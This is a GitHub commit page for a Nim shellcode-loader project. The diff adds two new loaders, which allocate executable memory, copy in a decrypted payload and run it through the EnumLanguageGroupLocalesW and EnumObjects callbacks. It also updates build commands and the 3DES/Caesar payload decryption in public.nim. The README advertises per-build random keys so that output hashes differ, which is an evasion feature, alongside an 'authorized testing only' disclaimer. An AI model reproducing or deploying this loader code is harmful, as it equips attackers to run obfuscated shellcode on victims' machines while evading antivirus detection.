Skip to content

Commit 397c447

Browse files
committed
修复bug,增加两种加载方式
编译时只编译当前使用的加密代码,由此去掉了函数已声明但未使用的编译提示,增加了2个加载方式
1 parent 19d8278 commit 397c447

File tree

5 files changed

+68
-28
lines changed

5 files changed

+68
-28
lines changed

Compiler.ini

Lines changed: 3 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -19,4 +19,6 @@ EnumDirTreeW-ACE=nim cpp -d:<encrypt> -d:strip -d:release -d:source="<source>" -
1919
EnumDisplayMonitors-ACE=nim cpp -d:<encrypt> -d:strip -d:release -d:source="<source>" --app:gui --opt:size -o:.\bin\ -f EnumDisplayMonitors.nim
2020
EnumFontFamiliesExW-ACE=nim cpp -d:<encrypt> -d:strip -d:release -d:source="<source>" --app:gui --opt:size -o:.\bin\ -f EnumFontFamiliesExW.nim
2121
EnumFontFamiliesW-ACE=nim cpp -d:<encrypt> -d:strip -d:release -d:source="<source>" --app:gui --opt:size -o:.\bin\ -f EnumFontFamiliesW.nim
22-
EnumFontsW-ACE=nim cpp -d:<encrypt> -d:strip -d:release -d:source="<source>" --app:gui --opt:size -o:.\bin\ -f EnumFontsW.nim
22+
EnumFontsW-ACE=nim cpp -d:<encrypt> -d:strip -d:release -d:source="<source>" --app:gui --opt:size -o:.\bin\ -f EnumFontsW.nim
23+
EnumLanguageGroupLocalesW-ACE=nim cpp -d:<encrypt> -d:strip -d:release -d:source="<source>" --app:gui --opt:size -o:.\bin\ -f EnumLanguageGroupLocalesW.nim
24+
EnumObjects-ACE=nim cpp -d:<encrypt> -d:strip -d:release -d:source="<source>" --app:gui --opt:size -o:.\bin\ -f EnumObjects.nim

EnumLanguageGroupLocalesW.nim

Lines changed: 16 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,16 @@
1+
import public
2+
3+
{.emit: """
4+
5+
int EnumDesktopWNim(char *shellcode,SIZE_T shellcodeSize) {
6+
LPVOID addr = ::VirtualAlloc(NULL, shellcodeSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
7+
::RtlMoveMemory(addr, shellcode, shellcodeSize);
8+
9+
EnumLanguageGroupLocalesW((LANGGROUPLOCALE_ENUMPROCW)addr, LGRPID_ARABIC, 0, 0);
10+
}
11+
"""
12+
.}
13+
14+
proc EnumLanguageGroupLocalesWNim(plainBuffer:cstring,size:cint):cint {.importcpp:"EnumDesktopWNim(@)",nodecl.}
15+
16+
discard EnumLanguageGroupLocalesWNim(code,codelen)

EnumObjects.nim

Lines changed: 18 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,18 @@
1+
import public
2+
3+
{.emit: """
4+
5+
int EnumDesktopWNim(char *shellcode,SIZE_T shellcodeSize) {
6+
LPVOID addr = ::VirtualAlloc(NULL, shellcodeSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
7+
::RtlMoveMemory(addr, shellcode, shellcodeSize);
8+
LOGFONTW lf = { 0 };
9+
lf.lfCharSet = DEFAULT_CHARSET;
10+
HDC dc = GetDC(NULL);
11+
EnumObjects(dc, OBJ_BRUSH, (GOBJENUMPROC)addr, NULL);
12+
}
13+
"""
14+
.}
15+
16+
proc EnumObjectsNim(plainBuffer:cstring,size:cint):cint {.importcpp:"EnumDesktopWNim(@)",nodecl.}
17+
18+
discard EnumObjectsNim(code,codelen)

README.md

Lines changed: 3 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -8,6 +8,8 @@
88

99
**20220203:Fix Bug!增加14种加载`shellcode`方式,nim version>=1.6.2**
1010

11+
**20220203:Fix Bug!增加2种加载`shellcode`方式**
12+
1113
## 特点:
1214

1315
1:自带四种加载方式
@@ -17,6 +19,7 @@
1719
3:支持两种加密技术,分别位`3des`加密和凯撒密码,密钥随机,每次生成文件拥有不同hash
1820

1921
<h3 style="color: red;">仅限用于技术研究和获得正式授权的测试活动。</h3>
22+
2023
## 文件组成:
2124

2225
**`bin` 中存放生成的可执行文件**

public.nim

Lines changed: 28 additions & 27 deletions
Original file line numberDiff line numberDiff line change
@@ -1,39 +1,40 @@
11
{.passL:"-static"}
2+
# {.hint[XDeclaredButNotUsed]:off.}
23
# {.passL:"-D:_WIN32_WINNT=0x0602"}
34
{.compile: "encryption\\des.c".}
4-
proc D3DES_Decrypt(plainBuffer:cstring,keyBuffer:cstring,cipherBuffer:cstring,n:cint):cint {.importc,cdecl.}
5-
import base64,sequtils
5+
import base64
66

77
const source {.strdefine.}: string = ""
88
var code*:cstring
99
var codelen*:cint = 0
10-
11-
proc de3des(enbase64:string): void =
12-
let shellcode:string = decode(enbase64)
13-
let plain_len_byte = cast[int16]([shellcode[0],shellcode[1]])
14-
let input_encode:cstring = cstring(shellcode[26..high(shellcode)])
15-
let key:cstring = cstring(shellcode[2..25])
16-
code = cast[cstring](alloc0(plain_len_byte));
17-
discard D3DES_Decrypt(input_encode,key,code,cast[cint](plain_len_byte))
18-
codelen = plain_len_byte
19-
20-
proc caesar(result:string): void =
21-
let decodres = decode(result)
22-
let dic = decodres[0..255].mapIt(it.byte)
23-
let table = decodres[256..high(decodres)].mapIt(it.byte)
24-
var deshellcode = newSeq[uint8](table.len)
25-
var temp:string
26-
temp.setLen(table.len)
27-
for i in 0..254:
28-
for k in 0..high(table):
29-
temp[k] = cast[cchar](dic[table[k]])
30-
code = cstring(temp)
31-
codelen = cast[cint](deshellcode.len)
10+
const currsource:string = "\"" & source & "\""
3211

3312
when defined(Caesar):
34-
const enbase64 = staticExec("encryption\\Caesar.exe " & source)
13+
import sequtils
14+
proc caesar(result:string): void =
15+
let decodres = decode(result)
16+
let dic = decodres[0..255].mapIt(it.byte)
17+
let table = decodres[256..high(decodres)].mapIt(it.byte)
18+
var deshellcode = newSeq[uint8](table.len)
19+
var temp:string = ""
20+
temp.setLen(table.len)
21+
for i in 0..254:
22+
for k in 0..high(table):
23+
temp[k] = cast[cchar](dic[table[k]])
24+
code = cstring(temp)
25+
codelen = cast[cint](deshellcode.len)
26+
const enbase64 = staticExec("encryption\\Caesar.exe " & currsource)
3527
caesar(enbase64)
3628

37-
when defined(TDEA):
38-
const enbase64 = staticExec("encryption\\Tdea.exe " & source)
29+
elif defined(TDEA):
30+
proc D3DES_Decrypt(plainBuffer:cstring,keyBuffer:cstring,cipherBuffer:cstring,n:cint):cint {.importc,cdecl.}
31+
proc de3des(enbase64:string): void =
32+
let shellcode:string = decode(enbase64)
33+
let plain_len_byte = cast[int16]([shellcode[0],shellcode[1]])
34+
let input_encode:cstring = cstring(shellcode[26..high(shellcode)])
35+
let key:cstring = cstring(shellcode[2..25])
36+
code = cast[cstring](alloc0(plain_len_byte));
37+
discard D3DES_Decrypt(input_encode,key,code,cast[cint](plain_len_byte))
38+
codelen = plain_len_byte
39+
const enbase64 = staticExec("encryption\\Tdea.exe " & currsource)
3940
de3des(enbase64)

0 commit comments

Comments
 (0)